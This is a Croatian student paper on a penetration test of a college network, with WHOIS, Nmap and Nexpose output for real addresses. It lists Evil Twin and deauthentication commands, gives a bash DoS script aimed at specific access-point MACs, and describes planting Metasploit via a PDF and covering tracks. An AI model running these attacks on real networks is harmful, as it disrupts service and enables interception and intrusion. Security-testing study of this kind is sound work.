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Sažetak:  
   Sigurnost računalnih mreža je važan aspekt svake mreže zbog vrijednosti podataka 
pohranjenih na mrežnim dijelovima. Osobe koje bi imale materijalne koristi posjedovanjem tih 
podataka često pokušavaju ostvariti neovlašteni pristup na ciljane mreže. Da bismo se obranili 
od neovlaštenog upada na mrežu, mi moramo sami testirati sigurnost naše mreže kako bismo 
zaštitili svoju i tuđu privatnost i podatke. Sigurnost mreže se testira prateći za to predviđene 
korake: izviđanje mreže, skeniranje mreže te sam upad.  Izviđanjem mreže možemo ustanoviti 
koliko se informacija može sakupiti o našoj mreži na internetu, sigurnost fizičnog pristupa te 
obrazovanje i osvještenost zaposlenih na phising i socialni inžinjering. Skeniranjem mreže 
možemo izvidjeti ranjivost naših aplikacija, portova1 i dijelova mreže dok upadom na mrežu 
,koristeći pronađene slabosti, dobivamo povratnu informaciju koliko dugo sustavu treba za 
detekciju i izolaciju uljeza. Nakon što nas sustav ulovi, tj. ako nas ulovi, vršimo zakrpe 
pronađenih slabosti u našoj mreži. 
 
                                                 
1
 Port – "vrata" na koja usmjerujemo vezu, tj. promet 
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1 UVOD 
  Današnji svijet je baziran na informacijama koje predstavljaju važnu metu zbog 
vrijednosti koje nose. Zato je zaštita mreža postala jedan od najbitnijih aspekata svake 
mreže. Danas postoje mnogi alati koje hakeri koriste za pronalaženje ranjivosti mreža koje 
mogu iskoristiti kako bi zadobili neovlašten pristup na mrežu. Da bi se korisnici obranili od 






 no napredovanjem 
načina zaštite napredovao je i način neovlaštenog upada na mreže, razvivši neku vrstu 
"protokola" koji se slijedi prilikom pokušaja neovlaštenog upada. Prva razina tog 
"protokola" je izviđanje mreže. Izviđanje mreže je najdulji i najiscrpniji dio testiranja 
sigurnosti mreže. Što detaljnije obavimo ovaj korak, to ćemo prikupiti više informacija o 
ranjivosti mreže. Koristeći neke od alata, npr. Maltego, možemo dobiti informacije o 
zaposlenicima, vlasnicima, vezama koje mreža uspostavlja prema internetu. Sljedeći korak 
je skeniranje mreže na kojem ćemo koristiti alat Nexpose. Nexpose služi za skeniranje 
ranjivosti mreže, od običnog PC-a do usmjernika i firewalla5. Nexpose skenira otvorene 
portove i servise, ranjive programe i ranjivosti zadane inačice operacijskog sustava te nam 
sve prikupljene podatke izdaje u obliku izvješća. Treći korak je dobivanje pristupa koristeći 
prikupljene informacije o ranjivosti mreže koristeći metasploite6 ili druge vrste programa 
kako bismo utvrdili istinitost pronađenih slabosi mreže. Červrti korak je održavanje 
pristupa kako bismo testirali našu mrežu na detekciju upada. Te peti i predzadnji korak je 
prekrivanje tragova. Nakon upada i održavanja pristupa, moramo zamesti svoje tragove 
uređivanjem zapisa koje vodi sučelje mreže i testirati detekciju našeg sustava na pokušaje 
krivotvorenja zapisa. Posljednji korak je zakrpa pronađenih slabosti mreže kako bismo se 





                                                 
2
 Protokol – Niz propisa i pravila koji se moraju slijediti 
3 Hardware – Fizički dio računala 
4 Software – Programski dio računala 
5 Firewall – Softwer ili Hardware koji služi za kontrolu komunikacije (portova) 
6 Metasploit – Set alata za testiranje sigurnosti mreže 
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2 IZVIĐANJE MREŽE 
Izviđanje mreže je dugotrajan postupak koji može trajati od nekoliko tjedana do 
nekoliko mjeseci i grana se na nekoliko dijelova: 
 Pretraživanje interneta 
 Socijalni inžinjering 
 Dumpster diving 
 Nabavljanje domain name-a 
 Non-intrusive network scanning-a7 
 Fizička provala 
 
2.1 Pretraživanje interneta 
Koliko god čudno zvučalo, no pretraživanje interneta je jedan od korisnijih dijelova 
izviđanja mreže. Ukoliko je na mreži WEB-server možemo dobiti IP i informacije o 
platformi tog servera koristeći samo web browser, ili možemo pronaći vlasnike te mreže, 
djelatnike ako ih ima te mnogo drugih detalja koje možemo iskoristiti u socijalnom 
inžinjeringu ili nekom drugom aspektu izviđanja i testiranja mreže samo surfajući. 
Koristeći USENET8 grupe, možemo prikupiti informacije koje nam uvelike mogu pomoći u 
izviđanju određene mreže. 
 
2.1.1 Informacije o mreži MEV-a prikupljene pretraživanjem interneta 
Informacije prikupljene o mreži Međimurskog veleučilišta, koristeći pretraživanje 
interneta, su unutar sigurnosnih standarda, tj. ne odaju previše informacija koje bi napadač 
mogao iskoristi, jedino postoji nekoliko članaka koje bi vješta osoba mogla iskorstiti kod 
                                                 
7  Non-intrusive network scanning – nenametljivo skeniranje mreže 
8  USENET – "forumi" namijenjeni određenim temama 
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socijalnog inžinjeringa.  
2.2 Socijalni inžinjering 
Sve podatke prikupljene pretraživanjem interneta možemo upotrijebiti kod 
socijalnog inženjeringa za dobivanje povjerljivih informacija o mreži od ljudi koji rade ili 
posjeduju mrežu. Lako je postati nečiji prijatelj i zatražiti neku informaciju ili jednostavno 
na piću diskretno započeti temu vezanu uz informacije koje trebamo te nam ta osoba s 
kojom razgovaramo može "zabunom" povjeriti te podatke . 
 
Slika 01. Socijalni inžinjerign, http://tinyurl.com/krho73k 
 
 
2.3 Dumpster diving 
Dumpster diving je postupak kojim možemo izvući potrebne informacije, doslovno, 
iz smeća. Vlasnici mreža i njihovi korisnici često ostavljaju vrijedne podatke na lako 
pristupačnim mjestim (uključujući i kante za smeće) kojima se vješt haker može poslužiti 
kako bi dobio informacije potrebne za daljnje istraživanje ili čak i neovlašteni upad na 
mrežu. Dumpster diving nije izvršen kod testiranja mreže MEV-a. 
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2.4 Nabavljanje domain name-a 
  Koristeći WHOIS možemo s dva klika doći do podataka potrebnih za buduće 
izviđanje mreže. 
Slika 02. WHOIS, www.whois.net 
 
2.4.1 WHOIS 
WHOIS je servis koji unosom domain name-a ili IP adrese izlistava informacije o 
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2.4.2 Informacije o mreži MEV-a prikupljene korištenjem WHOIS servisa 
% Information related to '193.198.26.64 - 193.198.26.127' 
 
% Abuse contact for '193.198.26.64 - 193.198.26.127' is 'abuse@carnet.hr' 
 
inetnum:        193.198.26.64 - 193.198.26.127 
netname:        CARNET-MEVELE 
descr:          Medjimursko veleuciliste 
descr:          Bana Josipa Jelacica 22/a 
descr:          Cakovec 
country:        HR 
admin-c:        CIa22-RIPE 
tech-c:         CIa22-RIPE 
status:         ASSIGNED PA 
mnt-by:         AS2108-MNT 
created:        2013-01-15T10:28:34Z 
last-modified:  2013-01-15T10:28:34Z 
source:         RIPE # Filtered 
 
role:           CARNet IP administrator 
address:        CARNet 
address:        J.Marohnica 5 
address:        10000 Zagreb 
address:        Croatia 
abuse-mailbox:  abuse@carnet.hr 
admin-c:        IV762-RIPE 
admin-c:        DK2798-RIPE 
tech-c:         IV762-RIPE 
tech-c:         DK2798-RIPE 
nic-hdl:        CIa22-RIPE 
mnt-by:         AS2108-MNT 
created:        2010-05-24T12:50:34Z 
last-modified:  2010-05-24T12:50:34Z 
source:         RIPE # Filtered 
 
% Information related to '193.198.0.0/16AS2108' 
 
route:          193.198.0.0/16 
descr:          HR-ZZ-193-198 block announcement by CARnet 
origin:         AS2108 
mnt-by:         AS2108-MNT 
created:        1970-01-01T00:00:00Z 
last-modified:  2001-09-22T09:32:03Z 
source:         RIPE # Filtered 
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2.5 Non intrusive network scanning 
To su postupci skeniranja mreže koje mreža i mrežni sustav ne može detektirati i 
koji ne pokušavaju iskoristiti pronađene slabosti mreže. Tu spada skeniranje portova, 
registry-a
9
, nedostaju li neke sigurnosne zakrpe... 
 
2.6 Fizička provala 
Ovu tehniku nećemo primijeniti kod testiranja mreže MEV-a, no vrijedna je 
napomene zbog bolje zaštite mreže. Često se događa da hakeri provaljuju u objekte ukoliko 
su slabo čuvani da bi zadobili direktan pristup na, npr. mrežni server, čime se neizmjerno 
olakšava  neovlašteni pristup podatcima. Provala ne mora uvijek biti s ciljem pristupa 
mreži, može biti i s ciljem prikupljanja informacija kao što su zapisane lozinke na 
monitorima, a to je čest slučaj u uredima. 
 
3 SKENIRANJE MREŽE 
Skeniranje mreže je postupak kojim pojedinac ili grupa, koristeći za to namijenjene 
programe, skenira mrežu u nadi da će pronaći neki propust kojeg će zlouporabiti za 
ostvarivanje neovlaštenog pristupa mreži i mrežnim dijelovima. Skeniranje mreže kreće tek 
kada smo prikupili dovoljno informacija o mreži.  
Skeniranje se vrši u nekoliko koraka: 
 Skeniraju se portovi 
 Skeniraju se otvoreni servisi 
 Provjeravaju se instalirane aplikacije, koje vrše komunikaciju prema internetu, 
sadrže li neke propuste 
                                                 
9  Regrstry – baza podataka s konfiguracijskim postavkama MSOS-a 
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 Provjerava se enkripcija i zaštita podataka tijekom slanja 
 Provjerava se proizvođač i model svakog dijela mrežne opreme 
 
3.1 Skeniranje mreže koristeći Nexpose  
Nexpose je aplikacija koju su napravili inžinjeri za sigurnost računalnih sustava 
kako bi administratorima olakšali pronalaženje propusta u mreži, no zbog kvalitete usluge 
često se koristi za skeniranje mreža s ciljem napada na njih. Pokretanjem Nexpose-a 
skeniranja dobivamo ispis tipa: 
 
 
Slika 03. Nexpose izvještaj – primjer, www.null-byte.com 
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3.1.1 Informacije o mreži MEV-a prikupljene korištenjem Nexpose servisa 
 
1.   Koristeći Nexpose dobiveni podatci o ranjivosti mreže su jednaki na svim 
eksternim IP adresama koje posjeduje Međimursko veleučilište u Čakovcu. 
 
Ispis pronađenih slabosti iz Log file-a: 
 
 2015-05-23T16:14:38 [INFO] [Thread: VulnerabilityCheckContext.performTests] 
[Site: Sniff] [193.198.26.112:53] dns-allows-cache-snooping (dns-allows-cache-
snooping) - VULNERABLE 
 2015-05-23T16:14:38 [INFO] [Thread: VulnerabilityCheckContext.performTests] 
[Site: Sniff] [193.198.26.112:53] dns-processes-recursive-queries (dns-processes-
recursive-queries) – VULNERABLE 
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3.2 Skeniranje otvorenih servisa 
  Najdetaljnije podatke o otvorenim portovima i njihovoj namjeni možemo dobiti 
koristeći alat Nmap. Nmap je alat koji služi za otkrivanje hostova, informacija o njima i 
otvorenih, tj. zatvorenih portova na mreži. Informacije dobivene o portovima i hostovima 
će nam trebati u četvrtom koraku. 
 
3.2.1 Rezultati dobiveni koristeći Nmap 
Koristeći Nmap, dobiveni podatci o ranjivosti mreže su jednaki na svim eksternim 
IP
10
 adresama koje posjeduje Međimursko veleučilište u Čakovcu. 
 
Upisom naredbe "nmap -sS
11
 193.198.26.112" dobiju se rezultati: 
 
Starting Nmap 6.47 ( http://nmap.org ) at 2015-05-015 14:43 
CEST  
Nmap scan report for 193.198.26.112  
Host is up (0.027s latency).  
Not shown: 991 closed ports  
PORT     STATE    SERVICE  
25/tcp   filtered smtp  
53/tcp   open     domain  
135/tcp  filtered msrpc  
139/tcp  filtered netbios-ssn  
445/tcp  filtered microsoft-ds  
1723/tcp open     pptp  
3128/tcp filtered squid-http  
                                                 
10 IP – Internet Protocol 
11 "-sS" je naredba u Nmapu koja otvara TCP konekcije na velikom broju portova no konekcija ne završava 
komunikaciju što omogućuje neprimjetno skeniranje mreže 
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8001/tcp filtered vcom-tunnel  
8291/tcp open     unknown  
 
Nmap done: 1 IP address (1 host up) scanned in 4.04 seconds  
 







193.198.26.112" dobiju se rezultati: 
 
Nmap scan report for 193.198.26.112 
Host is up. 
Scanned at 2015-06-04 01:32:01 CET for 8s 
Not shown: 853 closed ports 
PORT      STATE   SERVICE 
22/tcp    unknown ssh 
53/tcp    open    domain 
80/tcp    unknown http 
89/tcp    unknown su-mit-tg 
110/tcp   unknown pop3 
111/tcp   open    rpcbind 
113/tcp   unknown ident 
199/tcp   unknown smux 
443/tcp   unknown https 
445/tcp   unknown microsoft-ds 
465/tcp   unknown smtps 
512/tcp   unknown exec 
513/tcp   unknown login 
514/tcp   unknown shell 
                                                 
12 "-b" je naredba u Nmapu koja označava FTP bounce s nekog servera prema mreži koju skeniramo 
13 "[username:password]" korisničko ime i lozinka FTP servera kojeg koristimo za skeniranje mreže 
14  "[ip bounce servera]" IP adresa FTP servera kojega korsitimo za bounce veze 
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515/tcp   unknown printer 
524/tcp   unknown ncp 
541/tcp   unknown uucp-rlogin 
543/tcp   unknown klogin 
544/tcp   unknown kshell 
545/tcp   unknown ekshell 
548/tcp   unknown afp 
554/tcp   unknown rtsp 
555/tcp   unknown dsf 
563/tcp   unknown snews 
587/tcp   unknown submission 
593/tcp   unknown http-rpc-epmap 
616/tcp   unknown sco-sysmgr 
617/tcp   unknown sco-dtmgr 
625/tcp   unknown apple-xsrvr-admin 
631/tcp   unknown ipp 
636/tcp   unknown ldapssl 
646/tcp   unknown ldp 
648/tcp   unknown rrp 
666/tcp   unknown doom 
667/tcp   unknown disclose 
668/tcp   unknown mecomm 
683/tcp   unknown corba-iiop 
687/tcp   unknown asipregistry 
691/tcp   unknown resvc 
700/tcp   unknown epp 
705/tcp   unknown agentx 
711/tcp   unknown cisco-tdp 
714/tcp   unknown iris-xpcs 
720/tcp   unknown unknown 
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722/tcp   unknown unknown 
726/tcp   unknown unknown 
749/tcp   unknown kerberos-adm 
765/tcp   unknown webster 
3.3 Analiza dobivenih podataka putem Nmap-a i Nexpose-a 
Izvješće, dobiveno koristeći Nexpose, pokazalo je propust kod DNS servera koji ga 
čini ranjivim na DNS15 cache prisluškivanje. DNS cache prisluškivanje ili snoop je 
postupak kojim šaljemo rekurzivne upite DNS serveru te nam on "vrati" koje stranice 
trenutno ima spremljene u svojoj cache memoriji. Sljedeći pronađeni propust se nalazi na 
portu 3128 kojega koristi Squid. Squid je proxy server kojega koriste mnogi serveri kako bi 
smanjili potrošnju bandwitha spremanjem često korištenih stranica u cache memoriju Squid 
proxy servera. Squid proxy server je ranjiv na : 
 DoS koristeći grešku kod snmpHandleUdp() funkcije 




 DoS18 ako promijenimo broj port-a u HTTP headeru 
Port 8291 je siguran, no na servisu koji koristi taj port postoji veliki propust. Premda se radi 




                                                 
15  DNS – Doman Name System 
16  SSL – Secure Socket Layer 
17  HTTPS – Hyper Text Transfer Protocol Secure 
18  DoS – Denial of Service 
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3.4 Testiranje pronađenih slabosti 
3.4.1 DNS cache sniff propust 
Ukoliko postoji propust na DNS serveru i iz njega možemo povući informacije koje 
ima spremljene u cache memoriji, iz tih podataka možemo izvaditi podatke o banci, 
trgovinama, stranicama za koje korisnik ne želi da znamo da ih posjećuje, te dobivene 





 propust testirat ćemo korsteći Nmap i skriptu koja vrši upite te 
procesira rezultat. Skriptu pokrećemo naredbom "--script dns-cache-snoop.nse" te 
podesimo parametre naredbom "--script-args 'dns-cache-snoop.mode=[mode]", ovisno o 
tome želimo li neprimjetno (nonintrusive) ujedino i sporo ili brzo (timed) dobiti podatke s 
DNS servera. 
 
Naredba korištena u Nmap-u: 





Starting Nmap 6.47 ( http://nmap.org ) at 2015-07-08 02:32 
CEST  
--------------- Timing report ---------------  
  hostgroups: min 1, max 100000  
  rtt-timeouts: init 1000, min 100, max 10000  
  max-scan-delay: TCP 1000, UDP 1000, SCTP 1000  
  parallelism: min 0, max 0  
                                                 
19  Cache – brza memorija, koristi se za pohranjivanje često korištenih informacija 
20  Sniff – "njuškanje" podataka 
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  max-retries: 10, host-timeout: 0  
  min-rate: 0, max-rate: 0  
---------------------------------------------  
NSE: Using Lua 5.2.  
NSE: Script Arguments seen from CLI: dns-cache-
snoop.mode=timed,dns-cache-snoop.domains={host1,host2,host3}  
NSE: Loaded 1 scripts for scanning.  
NSE: Script Pre-scanning.  
NSE: Starting runlevel 1 (of 1) scan.  
Initiating Ping Scan at 02:32  
Scanning 193.198.26.112 [4 ports]  
Packet capture filter (device eth0): dst host 192.168.1.104 
and (icmp or icmp6 or ((tcp or udp or sctp) and (src host 
193.198.26.112)))  
We got a ping packet back from 193.198.26.112: id = 52362 
seq = 0 checksum =   13173  
Completed Ping Scan at 02:32, 0.10s elapsed (1 total hosts)  
Overall sending rates: 39.78 packets / s, 1511.78 bytes / s.  
mass_rdns: Using DNS server 192.168.1.1  
Initiating Parallel DNS resolution of 1 host. at 02:32  
mass_rdns: 0.02s 0/1 [#: 1, OK: 0, NX: 0, DR: 0, SF: 0, TR: 
1]  
Completed Parallel DNS resolution of 1 host. at 02:32, 0.02s 
elapsed  
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 
0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]  
Initiating UDP Scan at 02:32  
Scanning 193.198.26.112 [1 port]  
Packet capture filter (device eth0): dst host 192.168.1.104 
and (icmp or icmp6 or ((tcp or udp or sctp) and (src host 
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193.198.26.112)))  
Completed UDP Scan at 02:32, 0.27s elapsed (1 total ports)  
Overall sending rates: 7.33 packets / s, 293.35 bytes / s.  
NSE: Script scanning 193.198.26.112.  
NSE: Starting runlevel 1 (of 1) scan.  
NSE: Starting dns-cache-snoop against 193.198.26.112:53.  
Initiating NSE at 02:32  
NSE: dns.query() got zero responses attempting to resolve 
query: www.google.com  
NSE: dns.query() got zero responses attempting to resolve 
query: www.google.com  
NSE: dns.query() got zero responses attempting to resolve 
query: www.google.com  
NSE Timing: About 0.00% done 
 
  Dobiveni rezultat govori da je servis dobro zaštićen, no Nexpose  je javio  ranjivost 
sustava. Pokušajmo pretvoriti IP adresu Veleučilišta u domain name. 
Rezultat dobiven s http://www.hcidata.info/host2ip.htm stranice: 
 
Details of 193.198.26.112 
 
IP Address : 193.198.26.112 
 
Location   : Croatia (local name Hrvatska) (95% accuracy) 
 
Host Name  : Unable to contact the host at IP Address 193.198.26.112 
 
3.4.2 Zaključak 
Na routeru MEV-a postoji DNS servis, no ne postoji postavljeni DNS server koji bi 
rješavao DNS upite. Vješt haker bi zaključio, premda servis postoji, a ne koristi se, 
zabunom nije isključen te će vjerojatno dugo ostati aktivan. Sada ima svo vrijeme svijeta da 
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pronađe neki propust te ga može zlorabiti kako bi dobio neovlašten pristup mreži. 
 
3.4.3 Savjet za zakrpu 
Isključiti DNS servis na routeru ili pravilno postaviti DNS server kako bismo 
spriječili moguću štetu. 
 
3.4.4 Squid propust 
Squid proxy
21
 server nije testiran zbog mogućnosti počinjenja štete Međimurskom 
veleučilištu u Čakovcu, djelatnicima Veleučilišta ili studentima. Da bi testiranje Squid 
proxy servera bilo provedeno potrebno je za vrijeme radnog vremena izvesti DoS napade 
što bi zagušilo promet i komunikaciju Veleučilišta s ostatkom interneta što može rezultirati, 
u najgorem slučaju, i prestankom rada routera. Ukoliko bi u to vrijeme netko koristio neku 
od usluga, npr. Loomen
22
 za "upload" riješenog ispita, ili ako bi računovodstvo vršilo 
bankovnu transakciju putem Internet bankarstva bili bi onemogućeni izvršiti iste. 
 
3.4.5 Mikrotik WinBox propust (port 8291) 
Propust kod WinBox servisa javlja se time što router prije autentifikacije korisnika 
šalje WinBox alatu plugin-e kako bi WinBox mogao kontrolirati router nakon autentifikacije 
i spajanja. Da je port otvoren prema javnosti, tj. internetu možemo provjeriti ako 
pokrenemo WinBox i pokušamo se spojiti na zadani port. Ako je veza otvorena, 
autetifikacija će se izvršiti i dobit ćemo poruku da nam je autentifikacija netočna. 
 
                                                 
21  Proxy – računalo u ulozi "hub-a" 
22  Loomen – web stranica namijenjena za školovanje 
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Slika 05. - Mikrotik WinBox 
 
Ovo svojstvo Mikrotik routera možemo iskoristiti protiv njega samoga. Ukoliko  
konstantno tražimo od routera da nam iz početka šalje plugin datoteke gušimo promet koji 
je usmjeren na spajanje na router da bi ga se konfiguriralo. Nusprodukt ovog načina DoS-a 
je prekid veze svima koji su spojeni na router putem WinBox-a i podizanje rada procesora 
routera na 100% što kod određenih verzija routera rezultira narušavanjem rada routera ili 
gašenjem routera i gubitka postavki. Ovaj test nije učinjen iz istog razloga kao kod Squid 
proxy servera. Također otvoren port prema internetu koji služi za konfiguriranje routera nije 
preporučeno imati. Postoje mnogi načini na koje se može brute force-ati username i 
password čime se dobije direktan pristup na kompletnu mrežu. 
3.4.6 Savjet za zakrpu 
Zatvoriti port 8291 prema internetu. 
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3.5 Provjera instaliranih aplikacija, sadrže li neke propuste 
Nexpose automatski detektira i ispisuje pronađene sigurnosne nedostatke na 
aplikacijama koje koristi određeni dio mreže te ispisuje poveznice koje sadrže više detalja o 
prijetnji koju pruža taj nedostatak te kako izvršiti zakrpu za sprječavanje zlouporabe 
prijetnje.  
 
3.5.1 Rezultati dobiveni koristeći Nexpose skeniranje propusta aplikacija 
Nexpose nije pronašao aplikacije koje predstavljaju prijetnju mreži Međimurskog 
veleučilišta u Čakovcu. 
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4 DOBIVANJE PRISTUPA 
Ovisno o informacijama koje smo prikupili sada možemo prijeći na zabavni dio- 
dobivanje pristupa na ciljanu mrežu. Na osnovu informacija o pronađenim slabostima 
dobivenih skeniranjem i izviđanjem, sada možemo odabrati način na koji ćemo iskoristiti 
slabosti. Jedni od najčešćih su: 
 Evil Twin 
 Man in the Middle 
 Lažno predstavljanje 
 Napad na aplikacijskom sloju 
 Korištenje metasploita 
 
4.1 Evil Twin 
Evil Twin je vrsta napada kod kojeg napadač konfigurira svoj access point s 
identičnim SSID-om23, i vrši disconnect korisnika s mrežnog access point-a24 kako bi ih 
prisilio  na spajanje na njegov AP
25
.  Jednom kada komunikacija poteče kroz napadačev AP, 
on može neprimjetno zloupotrijebiti podatke koji se prenose preko njega, kao i dobiti 






                                                 
23  SSID – Service set indentifier 
24  Access point – Pristupna točka 
25  AP – Access point 
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4.1.1 Testiranje detekcije sustava na Evil Twin 
Kako bismo aktivirali Evil Twin na nekoj mreži, moramo imati antenu koja može 
raditi u monitor modu. Da bismo aktivirali monitor mode
26
, u terminal unosimo komandu 
"airmon-ng start wlan0". Prvi korak da bismo indentificirali koji AP želimo klonirati 
moramo saznati njegov BSSID, tj. njegovu MAC adresu. Otvorimo terminal i upišemo 
"airodump-ng  mon0". U terminalu će nam se izlistati svi AP-i u blizini. Lociramo koji AP 
želimo klonirati te unesemo komandu u novi terminal:  
"airbase-ng -a [BSSID] –essid "[essid]" -c [broj kanala] mon0" te pojačamo signal 
komandom "iwconfig wlan0 txpower 30". Da bismo klijente otpojili s originalnog AP-a i 
prisilili ih spojiti se na naš AP, upišemo komandu: "aireplay-ng --deauth 1000 -a [BSSID] 
mon0 –ignore-negative-one". Da bismo potvrdili spajanje klijenata na naš AP koristimo 
Wireshark kojeg postavimo s ciljem da promatra promet na mon0 interface-u. 
Evil Twin pokrenut na mreži MEV-a nije bio detektiran sat vremena nakon čega sam 












                                                 
26  Monitor Mode – "nadzirajući" način rada wireless kartice 
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Slika 06. - Evil Twin – eduroam 
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Slika 07. - Wireshark dolazni zahtjevi za spajanje 
 
4.2 Man-in-the-Middle 
Man-in-the-Middle je vrsta napada kod kojeg se napadač postavlja između mete i 
odredišta, preusmjeravajući komunikaciju preko sebe. Uspješni Man-in-the-middle napad 
omogućuje napadaču da presreće, kontrolira i mijenja podatke koji putuju od mete do 
odredišta. Npr. ako meta otvori dnevnik.hr, napadač može izmijeniti članak na naslovnici 
tako da izgleda kao da će sutra biti smak svijeta. Presretanjem komunikacije i filtriranjem 
njezina sastava napadač može dobiti informacije o bankovnim računima, lozinkama, 
korisničkim imenima te svim detaljima koji se događaju tijekom transakcije, što ovaj napad 
čini jednim od najopasnijih. 
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Slika 08. Man-int-the-Middle, http://tinyurl.com/jvrfnkv 
 
4.2.1 Man in the Middle na MEV-u 
 
Slika 09. - MITM Ettercap 
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Slika 10. - MITM na MEV-u – Wireshark 
 
  Žrtva koja se spojila na Evil Twin access point je zatražila podatke s youtube 
stranice kako možemo vidjeti s wireshark isječka. Koristeći Etthercap27 alat možemo 
promijeniti sastav HTML-a
28
 kojeg će žrtva primiti. 
 
4.3 Lažno predstavljanje (Indentity spoofing/IP address spoofing) 
Poznavajući IP adresu, napadač može preoteti sesiju žrtvi postavljajući svoju IP 
adresu i/ili mac adresu jednaku žrtvinoj te ometanjem Internet konekcije žrtve. Također je 
moguće preoteti sesiju ako uspijemo pogoditi, tj. spoof-ati redni broj paketa TCP konekcije 
koju koristi meta.  
 
                                                 
27  Etthercap – alat korišten kod Man in the middle napada 
28  HTML – Hyper text markup language 
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Slika 11. – Spoofing, http://tinyurl.com/nbm84gz 
 
Slika 12. - Spoof MAC adrese računala u knjižnici 
4.3.1 Savjet za zakrpu 
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4.4 Napad na aplikacijskom sloju 
Svaka aplikacija, ako nije dobro zaštićena, predstavlja veliku prijetnju cjelokupnoj 
mreži. Najčešće se vrši s buffer owerflow napadom koji prouzrokuje pad aplikacije. Padom 
aplikacije ustanovimo koji dio koda prouzrrokuje pad te na tu točku u kodu injectamo svoj 
kod koji nam omogućuje pristup. Takav kod se zove shellcode. 
 
Slika 13. - Prijetnje po slojevima, http://tinyurl.com/khn35jv 
 
Premda nije pronađena niti jedna ranjiva aplikacija koja komunicira prema van 
mreža MEV-a je sigurna od ove vrste napada. 
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4.5 Metasploit 
Korištenjem Man in the Middle možemo inject-ati jednu od vrsta metasploita na 
sustav koji se spojio na naš Evil Twin. Također možemo zaraziti neku od datoteka, npr. 
Word-ov dokument ili sliku,a najčešći način je preko PDF-a kojeg često otvaramo s Adobe 
Readerom koji sadrži mnoštvo propusta. Metasploit je program koji omogućava napadaču 
pristup i kontrolu sustava koji je zarazio. Nije bitno koliko jake firewall-e posjeduje mreža 
ili koliko zatvorene routere imamo ako je računalo unutar mreže zaraženo metasploitom 
ništa ne sprječava napadača da izvrši svoju volju i misiju. Koristeći metasploit ugrađen u 
PDF-ov dokument i uz socijalni inžinjering dobiven je pristup u predavaonu 15 te je 
zaraženo profesorsko računalo. Metasploit se nalazi na "D:" disku, točan put do 
njega:"D:/Program Files/Metasploit". Metasploit omogućuje osim kontrole cijelog računala 
i pristup video nadzoru koji je priključen na njega. 
 
5 Testiranje wireless mreže MEV-a 
5.1 Testiranje Eduroama na ICMPTX 
5.1.1 ICMPTX 
Danas u kafićima, na aerodromima te u mnogim ustanovama postoje 
HotSpot29-ovi koji omogućuju pristup internetu samo ako posjedujemo korisničko 
ime i lozinku te najčešće trebamo platiti za tu uslugu. ICMPTX je tuneliranje IP-a, tj. 
TCP30 konekcije kroz ICMP31.  Premda se autentifikacija i autorizacija vrši putem 
proxy servera, ukoliko proxy server nema onemogućen ICMP moguće je ostvariti 
sporu vezu koju je nemoguće detektirati jer koristi tuneliranje TCP konekcije, 
                                                 
29  HotSpot – AP s pouzdanijom zaštitom i mogučnošću naplate korištenja 
30  Transmission control protokol 
31  Internet control message protokol -  
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koristeći ICMP pakete  tipa 8 (echo) od servera do željene stranice koje firewall-i 
propuštaju i često ne filtriraju čime zaobiđemo autentifikacijski i autorizacijski 
proces HotSpot-a.  
Wirelles mreža Međimurskog veleučilišta na prvi pogled funkcionira na 
principu HotSpot-a, no autentifikaciju i autorizaciju vrši putem RADIUS-a što 
ICMPTX metodu čini neefektivnom. RADIUS server, kojeg koristi wireless mreža, 
ima visoki stupanj sigurnosti te nije pronađen način kako ga zaobiči da bismo dobili 
konekciju na Internet bez autentifikacije i autorizacije. 
 
Slika 14. - Postavljanje proxy servera 
 
Slika 15. - Tuneliranje postavljenog proxy servera 
 
Slika 16. - Postavljanje odredišne stranice 
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Slika 17. - Nemogućnost komunikacije preko ICMP paketa zbog RADIUS-a 
 
5.2 DoS napad na Eduroam 
DoS napad na bilo koji wireless se najčešće vrši konstantnom deautentifikacijom 
svih koirsnika zadanog wireless uređaja slanjem deautentifikacijskih paketa. Da bismo 
izvršili ovu vrstu napada postavimo wireless antenu računala na monitor mode te 
započnemo praćenje AP-a unutar dometa. Naredba za postavljanje wireless kartice računala 
u monitor mode je:"airmon-ng start wlan0". 
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Slika 18. Monitor mode 
 
 
S dobivene liste odaberemo metu, u ovom slučaju mete na koje ćemo izvršiti DoS 
napad. Premda imamo devet eduroam AP-a, moramo izvršiti DoS napad na svih devet 
uređaja istovremeno kako bismo wireless mrežu Međimurskog veleučilišta onesposobili. U 
tu svrhu izrađena je skripta wirelessDoS kako bismo izbjegli devet istodobno otvorenih 
terminala i olakšali si DoS napad.  
 Kod unutar skripte:  
#!/bin/bash  
for i in {1..5000}  
do  
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sudo aireplay-ng --deauth 1 -a 06:27:22:FD:51:42 mon0 --ignore-negative-one  
sudo aireplay-ng --deauth 1 -a C2:9F:DB:15:37:08 mon0 --ignore-negative-one  
sudo aireplay-ng --deauth 1 -a 06:27:22:FD:50:E3 mon0 --ignore-negative-one  
sudo aireplay-ng --deauth 1 -a 06:27:22:FB:DD:39 mon0 --ignore-negative-one  
sudo aireplay-ng --deauth 1 -a C2:9F:DB:69:7F:90 mon0 --ignore-negative-one  
sudo aireplay-ng --deauth 1 -a DC:9F:DB:1C:3F:C6 mon0 --ignore-negative-one  
sudo aireplay-ng --deauth 1 -a 06:27:22:FD:51:7D mon0 --ignore-negative-one  
sudo aireplay-ng --deauth 1 -a 06:27:22:FD:4E:E6 mon0 --ignore-negative-one  
sudo aireplay-ng --deauth 1 -a 06:27:22:D5:E9:BF mon0 --ignore-negative-one  
done 
Skripta se odrađuje 5000 puta i svaki put pošalje jedan deautetifikacijski zahtjev na svih 
devet uređaja. Kada bismo htjeli zbuniti administratora, u skriptu bismo dodali liniju "sleep 
60" i –-deauth parametar bismo povećali na 30 kako bismo sumnju sa sebe prebacili na 
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Slika 19. - DoS napad –-deauth 10 
5.2.1 Savjet za zakrpu 
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6 ODRŽAVANJE PRISTUPA 
Dobivši pristup, moramo taj pristup održati dovoljno dugo da bismo mogi ostvariti 
svoje ciljeve. (Cilj nam je provjeriti koliko dugo treba mrežnom sustavu da detektira naš 
neautoriziran pristup). Mreža Međimurskog veleučilišta u Čakovcu nema pozudan sustav 
detekcije uljeza. Izvršen DoS wireless mreže nije aktivirao alarme, metasploit nije bio 
detektiran antivirusom, pristup je moguće održati na dulji vremenski period. 
 
7 PREKRIVANJE TRAGOVA 
Ukoliko nismo bili uhvaćeni moramo prekriti ostavljene tragove kako bismo mogli ponovo 
posjetiti mrežu. To se vrši brisanjem tragova iz logova, no svi logovi na mreži Međimurskog 
